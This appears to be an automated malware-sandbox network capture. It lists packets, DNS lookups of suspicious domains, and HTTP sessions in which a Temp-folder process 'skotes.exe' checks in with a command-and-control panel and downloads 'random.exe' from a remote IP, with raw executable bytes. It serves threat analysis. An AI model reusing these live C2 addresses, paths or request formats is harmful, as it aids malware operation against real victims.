Dec 18, 2024 19:09:00.535141945 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.536097050 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.536156893 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.536227942 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.536366940 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.537276030 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.537333965 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.537514925 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.537560940 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.538470030 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.538687944 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.538738012 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.539467096 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.539515972 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.539617062 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.539664030 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.540621042 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.540668011 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.540805101 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.540849924 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.541762114 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.541827917 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.541862011 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.541907072 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.542917013 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.542984009 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.543416977 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.543468952 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.544076920 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.544136047 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.544203997 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.544261932 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.545187950 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.545247078 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.545360088 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.545808077 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.546372890 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.546437025 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.546598911 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.546663046 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.547533035 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.547692060 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.547748089 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.548634052 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.548659086 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.548688889 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.548727989 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.549760103 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.550136089 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.550189018 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.550916910 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.551204920 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.551265001 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.551980019 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.552051067 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.552428961 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.552494049 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.553105116 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.553175926 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.553286076 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.553348064 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.554177999 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.554240942 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.554264069 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.554313898 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.555299997 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.555381060 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.555385113 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.555433989 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.556413889 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.556468964 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.556731939 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.557135105 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.557504892 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.557588100 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.557964087 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.558024883 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.558624029 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.558680058 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.558852911 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.558903933 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.559779882 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.560106039 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.560205936 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.560848951 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.560914993 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.560949087 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.560992956 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.562047958 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.562100887 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.562488079 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.563090086 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.563143015 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.563208103 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.563277006 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.564229965 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.564280033 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.564340115 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.564390898 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.565248013 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.565479994 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.683350086 CET	443	49747	172.67.179.109	192.168.2.5
Dec 18, 2024 19:09:00.683470011 CET	49747	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:09:00.684858084 CET	49747	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:09:00.684881926 CET	443	49747	172.67.179.109	192.168.2.5
Dec 18, 2024 19:09:00.685225010 CET	443	49747	172.67.179.109	192.168.2.5
Dec 18, 2024 19:09:00.686825037 CET	49747	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:09:00.686913967 CET	49747	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:09:00.686928034 CET	443	49747	172.67.179.109	192.168.2.5
Dec 18, 2024 19:09:00.700598955 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.700615883 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.700624943 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.700637102 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.700702906 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.700754881 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.700930119 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.701128960 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.701179981 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.702155113 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.702208042 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.702362061 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.702406883 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.703239918 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.703573942 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.703629017 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.704317093 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.704366922 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.704516888 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.704570055 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.705236912 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.705285072 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.706069946 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.706126928 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.706615925 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.706748009 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.706804037 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.707602978 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.707657099 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.708417892 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.708472967 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.708657026 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.708707094 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.708784103 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.708830118 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.709938049 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.709988117 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.710109949 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.710154057 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:09:00.710678101 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.710695028 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:09:00.710733891 CET	49746	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 19:08:17.330070972 CET	192.168.2.5	1.1.1.1	0xecd2	Standard query (0)	lossekniyyt.click	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:08:35.522722960 CET	192.168.2.5	1.1.1.1	0x3024	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:08:35.815884113 CET	192.168.2.5	1.1.1.1	0x5c87	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:08:42.657965899 CET	192.168.2.5	1.1.1.1	0x1cfd	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:08:55.445468903 CET	192.168.2.5	1.1.1.1	0xf6dd	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:08:55.445549965 CET	192.168.2.5	1.1.1.1	0xf316	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 18, 2024 19:09:04.329041004 CET	192.168.2.5	1.1.1.1	0xfc0	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:09:04.329113007 CET	192.168.2.5	1.1.1.1	0xb704	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 18, 2024 19:09:04.424962044 CET	192.168.2.5	1.1.1.1	0xd646	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:09:07.535710096 CET	192.168.2.5	1.1.1.1	0x2b55	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:09:07.535741091 CET	192.168.2.5	1.1.1.1	0xb952	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 19:08:17.661732912 CET	1.1.1.1	192.168.2.5	0xecd2	No error (0)	lossekniyyt.click		172.67.131.246	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:08:17.661732912 CET	1.1.1.1	192.168.2.5	0xecd2	No error (0)	lossekniyyt.click		104.21.12.88	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:08:35.747327089 CET	1.1.1.1	192.168.2.5	0x3024	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:08:36.144870043 CET	1.1.1.1	192.168.2.5	0x5c87	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:08:36.144870043 CET	1.1.1.1	192.168.2.5	0x5c87	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:08:42.965890884 CET	1.1.1.1	192.168.2.5	0x1cfd	No error (0)	pancakedipyps.click		172.67.209.202	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:08:42.965890884 CET	1.1.1.1	192.168.2.5	0x1cfd	No error (0)	pancakedipyps.click		104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:08:55.583754063 CET	1.1.1.1	192.168.2.5	0xf6dd	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:08:55.583754063 CET	1.1.1.1	192.168.2.5	0xf6dd	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:09:04.466763973 CET	1.1.1.1	192.168.2.5	0xfc0	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:09:04.466763973 CET	1.1.1.1	192.168.2.5	0xfc0	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:09:04.562761068 CET	1.1.1.1	192.168.2.5	0xd646	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 19:09:08.327208042 CET	1.1.1.1	192.168.2.5	0x2b55	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49718	185.215.113.43	80	7764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 19:08:04.732348919 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 19:08:06.085803986 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 18:08:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49719	185.215.113.43	80	7764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 19:08:07.717519045 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 18, 2024 19:08:09.078685045 CET	1164	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 18:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 63 64 0d 0a 20 3c 63 3e 31 30 31 37 30 31 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 33 32 63 38 36 34 34 34 64 62 33 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 37 30 31 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 30 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 37 30 31 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 66 37 30 39 36 34 65 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 37 30 31 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 [TRUNCATED] Data Ascii: 3cd <c>1017010001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1017011001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1017012001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcf70964e03ac52ea484b411b9dc4e1#1017013001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1017014001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1017015001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1017016001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1017017001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1017018001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1017019001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c27c3161fee0ab7151c0363aa8ae24ba48b9a5536e6#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49720	31.41.244.11	80	7764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 19:08:09.204735041 CET	61	OUT	GET /files/x3team/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 19:08:10.545380116 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 18:08:10 GMT Content-Type: application/octet-stream Content-Length: 3286016 Last-Modified: Wed, 18 Dec 2024 13:43:08 GMT Connection: keep-alive ETag: "6762d16c-322400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELVP/Z/ 0@ 2@/K0@W`23/ H.text/ / `.rsrc@W0X/@@.reloc`2"2@B/H@C@z6+(B99(:+(^A(!(*(0(8yEcO/8^s :&8s8s 9& 8s 8s800000**00**
Dec 18, 2024 19:08:10.545411110 CET	224	IN	Data Raw: 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 Data Ascii: 0".**(~(s;(=t80*0(00
Dec 18, 2024 19:08:10.545537949 CET	1236	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 Data Ascii: 0".**********(00G0**
Dec 18, 2024 19:08:10.545691967 CET	1236	IN	Data Raw: 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a Data Ascii: *******************************
Dec 18, 2024 19:08:10.545708895 CET	1236	IN	Data Raw: 00 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 72 00 00 01 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 Data Ascii: *0r0****************(******
Dec 18, 2024 19:08:10.546161890 CET	1236	IN	Data Raw: 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 Data Ascii: ******(*0~(* "($sS8******00*0
Dec 18, 2024 19:08:10.546176910 CET	896	IN	Data Raw: 17 2a 00 00 00 12 00 00 00 2a 00 00 00 7e 28 2a 0c 00 06 38 01 00 00 00 2a 28 66 02 00 06 28 67 02 00 06 80 80 00 00 04 38 eb ff ff ff 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a Data Ascii: *~(8(f(g8*******"00*("****0
Dec 18, 2024 19:08:10.546192884 CET	1236	IN	Data Raw: 00 0d 00 00 00 00 00 00 00 02 00 00 00 1e 00 00 00 19 01 00 00 37 01 00 00 0d 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 1c 00 00 02 00 00 00 13 00 00 00 86 01 00 00 99 01 00 00 0d 00 00 00 00 00 00 00 13 30 04 00 d7 Data Ascii: 70A0<(8E^N28Y :&8 8sb 9&8: 88
Dec 18, 2024 19:08:10.546205044 CET	224	IN	Data Raw: 00 00 00 00 2a 01 10 00 00 02 00 1f 00 5e 7d 00 0d 00 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 07 00 04 00 00 00 00 00 00 00 00 Data Ascii: ^}00**00****(0000*
Dec 18, 2024 19:08:10.546220064 CET	1236	IN	Data Raw: 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 16 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 Data Ascii: ***0000********(000****
Dec 18, 2024 19:08:10.672219992 CET	1236	IN	Data Raw: 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 Data Ascii: **********0***000';0*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49722	185.215.113.43	80	7764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
